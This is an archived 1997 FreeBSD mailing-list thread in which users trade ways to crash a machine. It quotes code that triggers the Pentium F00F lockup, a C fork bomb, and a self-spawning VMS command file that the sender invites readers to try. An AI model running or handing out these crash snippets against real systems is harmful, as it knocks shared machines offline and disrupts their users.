From owner-freebsd-questions Mon Nov 10 08:26:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA09483 for questions-outgoing; Mon, 10 Nov 1997 08:26:09 -0800 (PST) (envelope-from owner-freebsd-questions) Received: from titan.mcit.com (titan.mcit.com [166.37.52.154]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id IAA09476 for ; Mon, 10 Nov 1997 08:26:05 -0800 (PST) (envelope-from ttraylor@titan.mcit.com) Received: from localhost by titan.mcit.com (5.65v4.0/1.1.10.5/03Nov97-0335PM) id AA08107; Mon, 10 Nov 1997 09:21:02 -0700 Date: Mon, 10 Nov 1997 09:21:02 -0700 (MST) From: "Thomas S. Traylor" Reply-To: Thomas.Traylor@mci.com To: sporkl@dti.net Cc: Michael Richards <026809r@dragon.acadiau.ca>, freebsd-questions@FreeBSD.ORG Subject: Re: Crashing FreeBSD In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 9 Nov 1997, sporkl wrote: > Well, there are other ways too. > > 1. Toggle power really fast > 2. write a "forkbomb": > #include > > main() { > > for(;;) {fork();} > } > This looks like something a student did to us on a VMS system. For those with VMS systems around try: $! bomb.com $! $ spawm/nowait bomb.com $ submit bomb.com $ @bomb.com Tom > I am sure there are other ways. > > > > > -Spike Gronim > sporkl@dti.net > > "Tradition is the chastity belt of the mind" > > > > On Sun, 9 Nov 1997, Michael Richards wrote: > > > Well folks, it looks like anyone can crash a FreeBSD box. I am told that > > this is a bug in the pentium processor. Compile and run, it will crash the > > machine right away... > > > > Very simple: > > > > > > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 }; > > > > main () { > > void (*f)() = x; > > f(); > > } > > > > > > -- Thomas Traylor Thomas.Traylor@mci.com ttraylor@titan.mcit.com (719) 535-1269